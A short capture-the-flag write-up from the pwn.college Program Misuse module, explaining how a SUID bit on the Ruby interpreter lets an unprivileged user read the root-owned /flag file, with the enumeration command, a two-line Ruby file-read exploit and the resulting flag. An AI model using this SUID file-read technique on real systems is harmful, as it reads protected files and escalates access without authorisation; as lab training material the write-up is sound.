Challenge Name: ruby
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/ruby, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/ruby
Output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/ruby
- The
sin-rwsindicates itβs a SUID binary. rubyruns with root privileges.
π Exploitation
We can simply use ruby to read flag from /flag as its suid set.
echo 'puts File.read("/flag")' > /tmp/readflag.rb
ruby /tmp/readflag.rb
Output:
pwn.college{0myJuALsill8aQVy80rpPn_J4mn.dVDOxwSM0IzMyEzW}